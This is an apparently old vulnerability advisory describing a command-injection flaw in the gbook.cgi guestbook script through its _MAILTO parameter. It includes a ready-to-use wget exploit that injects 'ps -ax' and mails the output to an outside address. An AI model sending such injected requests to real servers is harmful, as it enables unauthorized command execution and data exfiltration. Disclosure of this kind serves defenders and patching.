4. Author: mat@hacksware.com
5. Type: Input validation Error
6. Explanation
gbook.cgi is used by some web sites.
We can set _MAILTO parameter, and popen is called to execute mail command.
If ';' is used in _MAILTO variable, you can execute arbitrary command with it.
It's so trivial. :)
7. Exploits
This exploit executes "ps -ax" command and sends the result to haha@yaho.com.
wget "http://www.victim.com/cgi-bin/gbook/gbook.cgi?_MAILTO=oops;ps%20-ax|mail%20haha@yaho.com&_POSTIT=yes&_NEWONTOP=yes&_SHOWEMAIL=yes&_SHOWURL=yes&_SHOWCOMMENT=yes&_SHOWFROM=no&_NAME=hehe&_EMAIL=fwe@yaho.com&_URL=http://www.yaho.com&_COMMENT=fwe&_FROM=few"
